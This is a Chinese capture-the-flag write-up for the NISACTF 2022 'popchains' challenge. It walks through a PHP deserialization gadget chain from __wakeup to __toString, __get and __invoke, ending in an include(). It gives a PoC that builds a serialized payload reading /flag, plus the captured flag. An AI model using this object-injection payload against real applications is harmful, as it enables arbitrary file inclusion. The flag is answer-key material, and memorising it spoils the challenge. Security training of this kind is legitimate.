题目源码

Happy New Year~ MAKE A WISH
<?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/ class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
} public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
} class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
} public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

解题思路

Road_is_Long类中,__toString()在该类被当作字符串处理的时候执行,__wakeup()方法下的preg_match()将$page变量当作字符串处理。如果我们把类中的 $page 赋值为此类本身,则当其触发__wakeup() 方法后,触发__toString()。而unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup()方法,所以当我们利用该类构造的序列化数据传入时,此类下的__wakeup() 方法就会调用。

然而触发__toString()下的$this->string->page该如何利用?

看Make_a_Change类下,有一个__get()方法,当访该类中私有或者不存在的成员属性值时调用。而Make_a_Change类中没有$page变量,则将Road_is_Long类中的$string赋值为Make_a_Change类,可以触发__get()方法。此__get()将$effort当作函数执行,并返回。

再来看Try_Work_Hard类,其__invoke()方法,在把该类当作函数执行时调用。__invoke()下的append()就是使用include()包含一个目标。因此将Make_a_Change类中的$effort赋值为Try_Work_Hard类,再将Try_Work_Hard类中的$var赋值为/flag
整体思路
Road_is_Long __wakeup() --> Road_is_Long __toString() --> Make_a_Change __get()
--> Try_Work_Hard

代码实现反推

$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));

POC

<?php
class Road_is_Long{
public $page;
public $string;
} class Try_Work_Hard{
protected $var="/flag";
} class Make_a_Change{
public $effort;
} $a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>

传参得到flag

NSSCTF{5a7a2d51-9b77-465b-820c-d7f84750140c}

[NISACTF 2022]popchains的更多相关文章

  1. web安全学习笔记(2022/8/26)

    网络安全Web学习笔记 @author: lamaper @email: lamaper@qq.com @blog: lamaper - 博客园 (cnblogs.com) @date: Aug.26 ...

  2. CJOJ 2022 【一本通】简单的背包问题(搜索)

    CJOJ 2022 [一本通]简单的背包问题(搜索) Description 设有一个背包可以放入的物品重量为S,现有n件物品,重量分别是w1,w2,w3,-wn. 问能否从这n件物品中选择若干件放入 ...

  3. HDU 2022 海选女主角

    http://acm.hdu.edu.cn/showproblem.php?pid=2022 Problem Description potato老师虽然很喜欢教书,但是迫于生活压力,不得不想办法在业 ...

  4. ural 2022 Riding a Toad

    2022. Riding a Toad Time limit: 1.0 secondMemory limit: 64 MB A tribe of leafmen live in the old for ...

  5. [LOJ 2022]「AHOI / HNOI2017」队长快跑

    [LOJ 2022]「AHOI / HNOI2017」队长快跑 链接 链接 题解 不难看出,除了影响到起点和终点的射线以外,射线的角度没有意义,因为如果一定要从该射线的射出一侧过去,必然会撞到射线 因 ...

  6. [翻译]正式宣布 Visual Studio 2022

    原文: [Visual Studio 2022] 首先,我们要感谢正在阅读这篇文章的你,我们所有的产品开发都始于你也止于你,无论你是在开发者社区上发帖,还是填写了调查问卷,还是向我们发送了反馈意见,或 ...

  7. 它来了!!!有史以来第一个64位Visual Studio(2022)预览版将在今夏发布!

    美国时间2021年4月19日,微软产品研发部一位负责人Amanda Silver在其博客上发布一则<Visual Studio 2022>的消息,表示将在今年(2021年)夏天发布Visu ...

  8. .NET6系列:微软正式宣布Visual Studio 2022

    系列目录     [已更新最新开发文章,点击查看详细] 首先,我们要感谢正在阅读这篇文章的你,我们所有的产品开发都始于你也止于你,无论你是在开发者社区上发帖,还是填写了调查问卷,还是向我们发送了反馈意 ...

  9. .NET6系列:Visual Studio 2022 线路图

    系列目录     [已更新最新开发文章,点击查看详细] 在上一篇博客<Visual Studio 2022>中介绍了VS2022的性能改进与重要功能.本文主要介绍在 Visual Stud ...

  10. 微软发布了Visual Studio 2022 Preview 1 以及.NET 6 Preview 5

    Microsoft 今天宣布了Visual Studio 2022 的第一个预览版,并且同时也发布了.NET 6 Preview 5. https://devblogs.microsoft.com/v ...

随机推荐

  1. DP 动态规划初识

    前面的 HMM 中参数求解, 都会用到动态规划, 全是各种概率公式, 是有一些抽象, 今天决定举个一波简单的栗子, 帮助理解DP 把一个大问题,不断划分为更小的子问题来求解的这种方式, 就是动态规划. ...

  2. JAVA 用时间生成主键ID

    /** * 生成主键(19位数字) * 主键生成方式,年月日时分秒毫秒的时间戳 例如:1810311557430000845 */ public static synchronized Long ge ...

  3. AutoCAD AutoLISP 中使用 entmake 创建标注样式(DIMSTYLE)的深度解析

    前言 在 AutoCAD 二次开发中,entmake 函数相比 command 命令具有三大核心优势: 高效性:直接操作图形数据库,避免交互式命令延迟 稳定性:消除命令行参数解析导致的不可控错误 精确 ...

  4. AssemblyResolve巧解未能加载文件或程序集“Newtonsoft.Json, Version=6.0.0.0的问题

    问题:未能加载文件或程序集"Newtonsoft.Json, Version=6.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aee ...

  5. WPF后台自动添加控件Demo

    xaml <Window x:Class="EBPlugIn2.EBPlugIn2_YJW_13" xmlns="http://schemas.microsoft. ...

  6. C# 控制台程序验证await立即返回

    class Program{ public static volatile bool flag = true; public static void Main() { Action a = null; ...

  7. 自用----降重ai率方法

    目录 自用----降重ai率方法 1.查重 2.降重 2.1 ai工具降重 2.2 ai降ai(参考他人blogs,没试过) 2.3 人工降重 处理步骤 具体内容 自用----降重ai率方法 1.查重 ...

  8. 1 MyBatis动态SQL之综述和 if 语句

    摘要:使用 MyBatis 动态SQL,通过 if, choose, when, otherwise, trim, where, set, foreach和bind等标签,可组合成非常灵活的SQL语句 ...

  9. fabric peer节点账本验证器相关代码解读

    账本验证器相关代码 fabric/core/commiter/txvalidator/v20/validator.go // Semaphore provides to the validator m ...

  10. Dify实战案例:AI邮件批量发送器!

    在 Dify 的使用中,有很多很实用并且很好玩的案例,例如今天给大家介绍这个"AI邮件批量发送器". 在没有 Dify 之前,我们要实现邮件的批量发送是件很难的事,不但要写很长的代 ...